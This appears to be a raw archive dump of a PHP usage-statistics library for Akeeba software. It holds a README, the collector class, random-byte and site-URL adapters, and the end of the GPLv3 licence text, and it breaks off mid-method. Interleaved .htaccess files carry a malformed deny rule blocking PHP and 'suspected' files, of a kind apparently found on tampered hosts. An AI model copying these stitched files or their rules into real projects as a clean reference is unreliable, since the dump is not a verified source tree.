LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND
PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE
DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR
CORRECTION.

### 16. Limitation of Liability.

IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR
CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES
ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT
NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR
LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM
TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER
PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

### 17. Interpretation of Sections 15 and 16.

If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.

END OF TERMS AND CONDITIONS

## How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these
terms.

To do so, attach the following notices to the program. It is safest to
attach them to the start of each source file to most effectively state
the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.

        <one line to give the program's name and a brief idea of what it does.>
        Copyright (C) <year>  <name of author>

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <https://www.gnu.org/licenses/>.

Also add information on how to contact you by electronic and paper
mail.

If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:

        <program>  Copyright (C) <year>  <name of author>
        This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
        This is free software, and you are welcome to redistribute it
        under certain conditions; type `show c' for details.

The hypothetical commands \`show w' and \`show c' should show the
appropriate parts of the General Public License. Of course, your
program's commands might be different; for a GUI interface, you would
use an "about box".

You should also get your employer (if you work as a programmer) or
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. For more information on this, and how to apply and follow
the GNU GPL, see <https://www.gnu.org/licenses/>.

The GNU General Public License does not permit incorporating your
program into proprietary programs. If your program is a subroutine
library, you may consider it more useful to permit linking proprietary
applications with the library. If this is what you want to do, use the
GNU Lesser General Public License instead of this License. But first,
please read <https://www.gnu.org/licenses/why-not-lgpl.html>.PK     \m    '  vendor/akeeba/stats_collector/README.mdnu [        # Akeeba Anonymous Usage Statistic Collection

This library is used to collect Joomla, WordPress, PHP, database, and software version numbers from installations of Akeeba software.

## Information for end users

### What we collect and store, and where

We only collect the versions of your CMS (Joomla, or WordPress), PHP, database server (MySQL or MariaDB), and our software, along with a randomly generated mostly-unique site identifier. This information is sent to [our statistics collection server](https://abrandnewsite.com). The site identifier is generated randomly, and is only used to deduplicate the collected information, i.e. not count your site two or more times. We cannot link the site identifier to a specific site or person.

We **NEVER** communicate any personally identifiable information (indicatively: your Download ID, email address, full name etc) to the usage statistics collection server. 

The IP addresses of the requests made to our statistics collection server are stored for 12 to 24 months for server security and legal compliance reasons only.

### How this information is used

The information collected is aggregated into trend graphs which allow us to determine when it is meaningful and fair to drop support for older Joomla, WordPress, PHP, and database versions. 

Without this information, we would be dropping support of old versions of Joomla, WordPress, PHP, and database servers after 3 to 6 months since the date they become End of Life, regardless of how many users were still using them on their sites.

### Compliance with GDPR, CCPA, and other privacy-related legislation

We do NOT collect any personally identifiable information. The site identifier is randomly generated, and cannot be linked to a specific site, or natural person. As a result, **the collected information is truly anonymous**, satisfying the requirements of privacy-related legislation for information collection without explicit consent.

On top of making absolutely sure that we protect your privacy, we also offer you the option to opt-out of the anonymous usage statistics collection in our software.

## Information for developers

### Usage

Define the repository in `composer.json`:

```json
"repositories": [
		{
			"type": "github",
			"url": "git@github.com:akeeba/stats_collector.git"
		},
	]
```

Require the library in `composer.json`:

```json
"require": {
    "akeeba/stats_collector": "dev-main"
}
```

In your code, initialise the `StatsCollector` object with the software information and call its `conditionalSendStatistics()` method.

For example, this is how to do it for Akeeba Backup for Joomla:

```php
(new \Akeeba\UsageStats\Collector\StatsCollector(
    \Akeeba\UsageStats\Collector\Constants\SoftwareType::AB_JOOMLA_CORE,
    AKEEBABACKUP_VERSION,
    AKEEBABACKUP_PRO
))->conditionalSendStatistics();
```

The above example works for _both_ Akeeba Backup Core and Professional. The software type mutates automatically to the correct Core / Pro identifier based on the rules included prescribed in `\Akeeba\UsageStats\Collector\Constants\SoftwareType::changeCoreOrPro`.

### Adding new platforms / CMS

To support a new software platform / CMS you need to modify the following:

- Create the new platform / CMS in the Usage Stats site.
- Update `\Akeeba\UsageStats\Collector\Constants\CmsType` with the new platform / CMS ID.
- Update `\Akeeba\UsageStats\Collector\Constants\SoftwareType::getCMSType` with the new platform / CMS ID for the corresponding software.
- Create a new adapter in the `Akeeba\UsageStats\Collector\CmsInfo\Adapter` namespace to get the CMS information.
- Create a new adapter in the `Akeeba\UsageStats\Collector\CommonVariables\Adapter` namespace to get/set the common variables in persistent storage.
- Create a new adapter in the `Akeeba\UsageStats\Collector\DatabaseInfo\Adapter` namespace to collect the database information.
- Create a new adapter in the `Akeeba\UsageStats\Collector\Sender\Adapter` namespace to send an HTTP GET query.
- Create a new adapter in the `Akeeba\UsageStats\Collector\SiteUrl\Adapter` namespace to get the site's URL.

### Adding a new database type

To support a new database type you need to modify the following

- Create the new database type in the Usage Stats site.
- Update `\Akeeba\UsageStats\Collector\Constants\DatabaseType` with the new Database Type ID.
- Update the adapters in `Akeeba\UsageStats\Collector\DatabaseInfo\Adapter` to account for the new database type.

### Adding a new software type, or split a software type to Core and Pro

- Create the new software type in the Usage Stats site.
- Update `\Akeeba\UsageStats\Collector\Constants\SoftwareType` with the new Software Type ID.
- Update `\Akeeba\UsageStats\Collector\Constants\SoftwareType::getCMSType` to return the correct platform for the new software type (not needed for Standalone software).
- Update `\Akeeba\UsageStats\Collector\Constants\SoftwareType::changeCoreOrPro` if there is a Core and Pro version for the software

If the software is based on AWF you need to create a few more adapters:

- Create a new adapter in the `Akeeba\UsageStats\Collector\CommonVariables\Adapter` namespace to get/set the common variables in persistent storage.
- Create a new adapter in the `Akeeba\UsageStats\Collector\DatabaseInfo\Adapter` namespace to collect the database information.
- Create a new adapter in the `Akeeba\UsageStats\Collector\Sender\Adapter` namespace to send an HTTP GET query. 
- Create a new adapter in the `Akeeba\UsageStats\Collector\SiteUrl\Adapter` namespace to get the site's URL.
PK     \G~.  ~.  4  vendor/akeeba/stats_collector/src/StatsCollector.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector;

use Akeeba\UsageStats\Collector\CmsInfo\CmsInfo;
use Akeeba\UsageStats\Collector\CommonVariables\CommonVariables;
use Akeeba\UsageStats\Collector\Constants\SoftwareType;
use Akeeba\UsageStats\Collector\DatabaseInfo\DatabaseInfo;
use Akeeba\UsageStats\Collector\LegacyShim\HashHelper;
use Akeeba\UsageStats\Collector\Random\Random;
use Akeeba\UsageStats\Collector\Sender\Sender;
use Akeeba\UsageStats\Collector\SiteUrl\SiteUrl;
use Akeeba\UsageStats\Collector\Version\Version;
use DateInterval;
use DateTime;
use Throwable;
use function strlen;

/**
 * Usage Statistics collector
 *
 * @since  1.0.0
 * @api
 */
final class StatsCollector
{
	/**
	 * Forbidden domains.
	 *
	 * When the current site's domain name ends with this substring no information will be sent
	 *
	 * @var    array
	 * @since  1.0.0
	 */
	private const FORBIDDEN_DOMAINS = [
		'.web',
		'.akeeba.rocks',
		'.akeeba.dev',
		'.invalid',
		'.test',
		'example.com',
		'example.net',
		'example.org',
		'.local',
		'.localdomain',
	];

	/**
	 * Common Variables abstraction object
	 *
	 * @var   CommonVariables|null;
	 * @since 1.0.0
	 */
	private $commonVariables = null;

	/**
	 * Random Bytes Generator abstraction object
	 *
	 * @var   Random|null;
	 * @since 1.0.0
	 */
	private $randomGenerator = null;

	/**
	 * The CMS type
	 *
	 * @var   int
	 * @since 1.0.0
	 */
	private $cmsType;

	/**
	 * The (unparsed) CMS version
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $cmsVersion;

	/**
	 * The software type
	 *
	 * @var   int
	 * @since 1.0.0
	 */
	private $softwareType;

	/**
	 * The (unparsed) software version
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $softwareVersion;

	/**
	 * Is this a Professional version of the software?
	 *
	 * @var   bool
	 * @since 1.0.0
	 */
	private $softwarePro;

	/**
	 * The database type
	 *
	 * @var   int
	 * @since 1.0.0
	 */
	private $databaseType;

	/**
	 * The database version
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $databaseVersion;

	/**
	 * The URL of the site we are running under
	 *
	 * @var   null
	 * @since 1.0.0
	 */
	private $siteUrl = null;

	/**
	 * The URL to send the statistics to
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $serverUrl = 'https://abrandnewsite.com/index.php';

	/**
	 * The request timeout for sending the usage statistics, in seconds
	 *
	 * @var   int
	 * @since 1.0.0
	 */
	private $timeout = 5;

	/**
	 * The minimum period between successive reports of usage statistics
	 *
	 * @var   DateInterval
	 * @since 1.0.0
	 */
	private $statsInterval;

	/**
	 * Public constructor.
	 *
	 * @since  1.0.0
	 */
	public function __construct(
		int $softwareType, string $softwareVersion, bool $softwarePro = false
	)
	{
		// We'll need these objects further down
		$this->commonVariables = new CommonVariables();
		$this->randomGenerator = new Random();
		$this->statsInterval   = new DateInterval('P1W');

		// Set the software and software version from the constructor arguments
		$this->setSoftware($softwareType, $softwareVersion, $softwarePro);

		// Auto-detect the database information
		$databaseInfo = new DatabaseInfo();

		$this->setDatabase($databaseInfo->getType(), $databaseInfo->getVersion());

		// Auto-detect the CMS information
		$this->cmsType    = SoftwareType::getCMSType($this->softwareType) ?: null;
		$cmsInfo          = new CmsInfo();
		$this->cmsType    = $this->cmsType ?? $cmsInfo->getType();
		$this->cmsVersion = $cmsInfo->getVersion();

		// Auto-detect the site URL (used to decide whether the unique Site ID needs to be regenerated; never transmitted!)
		$siteUrl       = new SiteUrl();
		$this->siteUrl = trim($siteUrl->getUrl()) ?: '';
	}

	/**
	 * Sends the usage statistics information to the collection server
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function sendStatistics(): void
	{
		$sender = new Sender($this->serverUrl, $this->timeout);

		$sender->sendStatistics($this->getQueryParameters());

		$this->commonVariables->setCommonVariable('stats_lastrun', (new DateTime())->getTimestamp());
	}

	/**
	 * Should I send the statistics information to the server?
	 *
	 * @param   bool  $updateLastRun        True to also update the last sent flag
	 * @param   bool  $useForbiddenDomains  True to prevent sending information if the site belongs to the forbidden
	 *                                      domains.
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function shouldSendStatistics(bool $updateLastRun = true, bool $useForbiddenDomains = true): bool
	{
		// Check 1. Forbidden domain
		if ($useForbiddenDomains)
		{
			$currentUrl = $this->siteUrl ?? $this->commonVariables->getCommonVariable('stats_siteurl', null);

			if ($this->isForbiddenDomain($currentUrl))
			{
				return false;
			}
		}

		// Check 2. Minimum interval between successive information reporting
		$lastTimeStamp = (int) $this->commonVariables->getCommonVariable('stats_lastrun', 0);
		try
		{
			$lastDateTime   = new DateTime('@' . $lastTimeStamp);
			$nextReportDate = (clone $lastDateTime)->add($this->statsInterval);
			$now            = new DateTime();
		}
		catch (Throwable $e)
		{
			return false;
		}

		$mustSendStatistics = $nextReportDate->diff($now)->invert == 0;

		if (!$mustSendStatistics)
		{
			return false;
		}

		// Should I update the last statistics sending date and time?
		if ($updateLastRun)
		{
			$this->commonVariables->setCommonVariable('stats_lastrun', $now->getTimestamp());
		}

		return true;
	}

	/**
	 * Conditionally send usage statistics
	 *
	 * @param   bool  $useForbiddenDomains   True to prevent sending information if the site belongs to the forbidden
	 *                                       domains.
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	public function conditionalSendStatistics(bool $useForbiddenDomains = true): void
	{
		if (!$this->shouldSendStatistics(true, $useForbiddenDomains))
		{
			return;
		}

		$this->sendStatistics();
	}

	/**
	 * Get (or generate) the pseudonymous Site ID.
	 *
	 * The Site ID is generated randomly and is guaranteed to be **most likely** unique. This allows us to collect
	 * statistics without counting the same site multiple times, without violating the privacy of the user.
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function getSiteId(): string
	{
		$siteId     = $this->commonVariables->getCommonVariable('stats_siteid', null);
		$currentUrl = $this->siteUrl ?? $this->commonVariables->getCommonVariable('stats_siteurl', null);

		if (empty($siteId)
		    || (!empty($currentUrl)
		        && HashHelper::md5($currentUrl) !== $this->commonVariables->getCommonVariable(
					'stats_siteurl', null
				)))
		{
			$siteUrl = HashHelper::md5($currentUrl);
			$this->commonVariables->setCommonVariable('stats_siteurl', $siteUrl);

			$siteId = HashHelper::sha1($this->randomGenerator->getRandomBytes(120));
			$this->commonVariables->setCommonVariable('stats_siteid', $siteId);
		}

		return $siteId;
	}

	/**
	 * Set the software information.
	 *
	 * @param   int     $type     The software type
	 * @param   string  $version  The software version
	 * @param   bool    $isPro    Is this the Professional version of the software? FALSE for software without a Pro
	 *                            version.
	 *
	 * @return  self
	 * @since   1.0.0
	 */
	public function setSoftware(int $type, string $version, bool $isPro = false): self
	{
		$this->softwareType    = $type;
		$this->softwareVersion = $version;
		$this->softwarePro     = $isPro;

		return $this;
	}

	/**
	 * Set the CMS type and version we are running under
	 *
	 * @param   int     $cmsType     The CMS type
	 * @param   string  $cmsVersion  The CMS version
	 *
	 * @return  self
	 */
	public function setCms(int $cmsType, string $cmsVersion): self
	{
		$this->cmsType    = $cmsType;
		$this->cmsVersion = $cmsVersion;

		return $this;
	}

	/**
	 * Set the database information
	 *
	 * @param   int     $type     The database type
	 * @param   string  $version  The database version
	 *
	 * @return  self
	 * @since   1.0.0
	 */
	public function setDatabase(int $type, string $version): self
	{
		$this->databaseType    = $type;
		$this->databaseVersion = $version;

		return $this;
	}

	/**
	 * Set the URL of the current site
	 *
	 * @param   null  $siteUrl
	 *
	 * @return  self
	 * @since   1.0.0
	 */
	public function setSiteUrl($siteUrl): self
	{
		$this->siteUrl = $siteUrl;

		return $this;
	}

	/**
	 * Get the URL query parameters corresponding to the information currently set in the object
	 *
	 * @return  array
	 * @since   1.0.0
	 */
	public function getQueryParameters(): array
	{
		$swVersion  = new Version($this->softwareVersion);
		$phpVersion = new Version(PHP_VERSION);
		$dbVersion  = new Version($this->databaseVersion);
		$cmsVersion = new Version($this->cmsVersion);

		return [
			'sid' => $this->getSiteId(),
			'sw'  => SoftwareType::changeCoreOrPro($this->softwareType, $this->softwarePro),
			'pro' => $this->softwarePro ? 1 : 0,
			'sm'  => $swVersion->major(),
			'sn'  => $swVersion->minor(),
			'sr'  => $swVersion->patch(),
			'pm'  => $phpVersion->major(),
			'pn'  => $phpVersion->minor(),
			'pr'  => $phpVersion->patch(),
			'pq'  => $phpVersion->tag(),
			'dt'  => $this->databaseType,
			'dm'  => $dbVersion->major(),
			'dn'  => $dbVersion->minor(),
			'dr'  => $dbVersion->patch(),
			'dq'  => $dbVersion->tag(),
			'ct'  => $this->cmsType,
			'cm'  => $cmsVersion->major(),
			'cn'  => $cmsVersion->minor(),
			'cr'  => $cmsVersion->patch(),
		];
	}

	/**
	 * Set the statistics collection server URL.
	 *
	 * @param   string  $serverUrl  The URL to set
	 *
	 * @return  self
	 * @since   1.0.0
	 */
	public function setServerUrl(string $serverUrl): self
	{
		$this->serverUrl = $serverUrl;

		return $this;
	}

	/**
	 * Returns the statistics collection server URL.
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function getServerUrl(): string
	{
		return $this->serverUrl;
	}

	/**
	 * Sets the request timeout, in seconds, for sending the statistics to the server.
	 *
	 * @param   int  $timeout  The request timeout, in seconds
	 *
	 * @return  self
	 * @since   1.0.0
	 */
	public function setTimeout(int $timeout): self
	{
		$this->timeout = $timeout;

		return $this;
	}

	/**
	 * Sets the minimum period between successive reports of information to the server.
	 *
	 * @param   DateInterval  $statsInterval
	 *
	 * @return  self
	 */
	public function setStatsInterval(DateInterval $statsInterval): self
	{
		$this->statsInterval = $statsInterval;

		return $this;
	}

	/**
	 * Does the domain name of the given URL belong in the list of forbidden domains?
	 *
	 * @param   string|null  $currentUrl
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	private function isForbiddenDomain(?string $currentUrl): bool
	{
		if (empty($currentUrl))
		{
			return false;
		}

		$host = @parse_url($currentUrl, PHP_URL_HOST);

		if (empty($host))
		{
			return false;
		}

		foreach (self::FORBIDDEN_DOMAINS as $domain)
		{
			if (!empty($host) && $this->str_ends_with($host, $domain))
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * Polyfill for str_ends_with, for hosts running on PHP 7.
	 *
	 * @param   string  $haystack
	 * @param   string  $needle
	 *
	 * @return  bool
	 */
	private function str_ends_with(string $haystack, string $needle): bool
	{
		if (function_exists('str_ends_with'))
		{
			return str_ends_with($haystack, $needle);
		}

		if ($needle === '' || $needle === $haystack)
		{
			return true;
		}

		if ($haystack === '')
		{
			return false;
		}

		$needleLength = strlen($needle);

		return $needleLength <= strlen($haystack) && 0 === substr_compare($haystack, $needle, -$needleLength);
	}

}PK     \ ?    3  vendor/akeeba/stats_collector/src/Random/Random.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Random;

use Akeeba\UsageStats\Collector\Random\Adapter\AdapterInterface;
use Akeeba\UsageStats\Collector\Random\Adapter\CompatibilityAdapter;
use Akeeba\UsageStats\Collector\Random\Adapter\OpenSSLAdapter;
use Akeeba\UsageStats\Collector\Random\Adapter\RandomBytesAdapter;

/**
 * Random Data Generator abstraction
 *
 * @since  1.0.0
 */
final class Random
{
	private const ADAPTERS = [
		RandomBytesAdapter::class,
		OpenSSLAdapter::class,
		CompatibilityAdapter::class,
	];

	/**
	 * The adapter for generating random bytes
	 *
	 * @var   AdapterInterface|null
	 * @since 1.0.0
	 */
	private $adapter = null;

	/**
	 * Returns a number of bytes using a cryptographically secure pseudorandom number generator (CS-PRNG).
	 *
	 * @param   int  $length  How many bytes to retrieve
	 *
	 * @return  string  The randomly generated bytes
	 * @since   1.0.0
	 */
	public function getRandomBytes(int $length = 120): string
	{
		return $this->getAdapter()->getRandomBytes(120);
	}

	/**
	 * Get the appropriate adapter for generating random bytes
	 *
	 * @return  AdapterInterface|null
	 * @since   1.0.0
	 */
	private function getAdapter(): ?AdapterInterface
	{
		if ($this->adapter !== null)
		{
			return $this->adapter;
		}

		foreach (self::ADAPTERS as $className)
		{
			if (!class_exists($className))
			{
				continue;
			}

			/** @var AdapterInterface $o */
			$o = new $className;

			if (!$o->isAvailable())
			{
				continue;
			}

			return $this->adapter = $o;
		}

		return null;
	}

}PK     \    I  vendor/akeeba/stats_collector/src/Random/Adapter/CompatibilityAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Random\Adapter;

use Akeeba\UsageStats\Collector\LegacyShim\HashHelper;

/**
 * Random Bytes adapter with a pure PHP implementation for maximum backwards compatibility.
 *
 * This was adapted from Joomla 3.2's code base which, in turn, was based on ircmaxell/random-lib.
 *
 * @since  1.0.0
 */
final class CompatibilityAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getRandomBytes(int $length = 120): string
	{
		/*
		 * Collect any entropy available in the system along with a number
		 * of time measurements of operating system randomness.
		 */
		$bitsPerRound  = 2;
		$maxTimeMicro  = 400;
		$shaHashLength = 20;
		$randomStr     = '';
		$total         = $length;

		// Check if we can use /dev/urandom.
		$urandom = false;
		$handle  = null;

		// This is PHP 5.3.3 and up
		if (function_exists('stream_set_read_buffer') && @is_readable('/dev/urandom'))
		{
			$handle = @fopen('/dev/urandom', 'r');

			if ($handle)
			{
				$urandom = true;
			}
		}

		while ($length > strlen($randomStr))
		{
			$bytes = ($total > $shaHashLength) ? $shaHashLength : $total;
			$total -= $bytes;

			/*
			 * Collect any entropy available from the PHP system and filesystem.
			 * If we have ssl data that isn't strong, we use it once.
			 */
			$entropy = function_exists('random_bytes') && function_exists('bin2hex')
				? bin2hex(random_bytes($bytes))
				: uniqid(mt_rand(), true);
			$entropy .= rand();
			$entropy .= implode('', @fstat(fopen(__FILE__, 'r')));
			$entropy .= memory_get_usage();

			if ($urandom)
			{
				stream_set_read_buffer($handle, 0);
				$entropy .= @fread($handle, $bytes);
			}
			else
			{
				/*
				 * There is no external source of entropy so we repeat calls
				 * to mt_rand until we are assured there's real randomness in
				 * the result.
				 *
				 * Measure the time that the operations will take on average.
				 */
				$samples  = 3;
				$duration = 0;

				for ($pass = 0; $pass < $samples; ++$pass)
				{
					$microStart = microtime(true) * 1000000;
					$hash       = HashHelper::sha1(mt_rand(), true);

					for ($count = 0; $count < 50; ++$count)
					{
						$hash = HashHelper::sha1($hash, true);
					}

					$microEnd = microtime(true) * 1000000;
					$entropy  .= $microStart . $microEnd;

					if ($microStart >= $microEnd)
					{
						$microEnd += 1000000;
					}

					$duration += $microEnd - $microStart;
				}

				$duration = $duration / $samples;

				/*
				 * Based on the average time, determine the total rounds so that
				 * the total running time is bounded to a reasonable number.
				 */
				$rounds = (int) (($maxTimeMicro / $duration) * 50);

				/*
				 * Take additional measurements. On average we can expect
				 * at least $bitsPerRound bits of entropy from each measurement.
				 */
				$iter = $bytes * (int) ceil(8 / $bitsPerRound);

				for ($pass = 0; $pass < $iter; ++$pass)
				{
					$microStart = microtime(true);
					$hash       = HashHelper::sha1(mt_rand(), true);

					for ($count = 0; $count < $rounds; ++$count)
					{
						$hash = HashHelper::sha1($hash, true);
					}

					$entropy .= $microStart . microtime(true);
				}
			}

			$randomStr .= HashHelper::sha1($entropy, true);
		}

		if ($urandom)
		{
			@fclose($handle);
		}

		return substr($randomStr, 0, $length);
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return true;
	}
}PK     \U      C  vendor/akeeba/stats_collector/src/Random/Adapter/OpenSSLAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Random\Adapter;

/**
 * Random Bytes adapter for the OpenSSL extension
 *
 * @since  1.0.0
 */
final class OpenSSLAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getRandomBytes(int $length = 120): string
	{
		$strong = false;

		return openssl_random_pseudo_bytes($length, $strong);
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return
			function_exists('openssl_random_pseudo_bytes')
			&& (
				version_compare(PHP_VERSION, '5.3.4', 'ge')
				|| substr(PHP_OS, 0, 3) == 'WIN'
			);
	}
}PK     \,    E  vendor/akeeba/stats_collector/src/Random/Adapter/AdapterInterface.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Random\Adapter;

interface AdapterInterface
{
	/**
	 * Returns a number of bytes using a cryptographically secure pseudorandom number generator (CS-PRNG).
	 *
	 * @param   int  $length  How many bytes to retrieve
	 *
	 * @return  string  The randomly generated bytes
	 * @since   1.0.0
	 */
	public function getRandomBytes(int $length = 120): string;

	/**
	 * Is this adapter available for use in the current environment?
	 *
	 * @return  bool
	 * @since   1.0.0
	 */
	public function isAvailable(): bool;
}PK     \ډ    G  vendor/akeeba/stats_collector/src/Random/Adapter/RandomBytesAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\Random\Adapter;

/**
 * Random Bytes adapter for PHP's `random_bytes` function (also works with polyfills).
 *
 * @since  1.0.0
 */
final class RandomBytesAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getRandomBytes(int $length = 120): string
	{
		return random_bytes($length);
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		return function_exists('random_bytes');
	}
}PK     \Sʉ      :  vendor/akeeba/stats_collector/src/Random/Adapter/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      2  vendor/akeeba/stats_collector/src/Random/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \SF	  F	  5  vendor/akeeba/stats_collector/src/SiteUrl/SiteUrl.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl;

use Akeeba\UsageStats\Collector\SiteUrl\Adapter\AdapterInterface;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\AdminToolsJoomlaAdapter;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\AdminToolsWordPressAdapter;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\AkeebaBackupJoomlaAdapter;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\AkeebaBackupWordPressAdapter;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\ATSJoomlaAdapter;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\DarkLinkAdapter;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\GenericAwfAdapter;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\GenericJoomlaAdapter;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\GenericWordPressAdapter;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\PanopticonAdapter;
use Akeeba\UsageStats\Collector\SiteUrl\Adapter\SoloAdapter;

final class SiteUrl
{
	private const ADAPTERS = [
		PanopticonAdapter::class,
		DarkLinkAdapter::class,
		SoloAdapter::class,
		GenericAwfAdapter::class,
		AkeebaBackupWordPressAdapter::class,
		AdminToolsWordPressAdapter::class,
		GenericWordPressAdapter::class,
		AkeebaBackupJoomlaAdapter::class,
		AdminToolsJoomlaAdapter::class,
		ATSJoomlaAdapter::class,
		GenericJoomlaAdapter::class,
	];

	/**
	 * The adapter to get the site's URL
	 *
	 * @var   null|AdapterInterface
	 * @since 1.0.0
	 */
	private $adapter = null;

	/**
	 * Gets the URL of the current site
	 *
	 * @return  string
	 * @since   1.0.0
	 */
	public function getUrl(): string
	{
		$adapter = $this->getAdapter();

		if ($adapter === null)
		{
			return '';
		}

		return $this->getAdapter()->getUrl() ?: '';
	}

	/**
	 * Get the appropriate adapter for handling common variables
	 *
	 * @return  AdapterInterface|null
	 * @since   1.0.0
	 */
	private function getAdapter(): ?AdapterInterface
	{
		if ($this->adapter !== null)
		{
			return $this->adapter;
		}

		foreach (self::ADAPTERS as $className)
		{
			if (!class_exists($className))
			{
				continue;
			}

			/** @var AdapterInterface $o */
			$o = new $className;

			if (!$o->isAvailable())
			{
				continue;
			}

			return $this->adapter = $o;
		}

		return null;
	}

}PK     \`  `  A  vendor/akeeba/stats_collector/src/SiteUrl/Adapter/SoloAdapter.phpnu [        <?php
/*
 * @package   stats_collector
 * @copyright Copyright (c)2023-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\UsageStats\Collector\SiteUrl\Adapter;

use Awf\Uri\Uri;
use Solo\Container;
use Throwable;

/**
 * Site URL adapter for Akeeba Solo (standalone)
 *
 * @since  1.0.0
 */
final class SoloAdapter implements AdapterInterface
{

	/**
	 * @inheritDoc
	 */
	public function getUrl(): string
	{
		return $this->getUrlReal();
	}

	/**
	 * @inheritDoc
	 */
	public function isAvailable(): bool
	{
		global $akeebaBackupWordPressContainer;
		global $akeebaSoloContainer;

		return !defined('WPINC')
		       && !isset($akeebaBackupWordPressContainer)
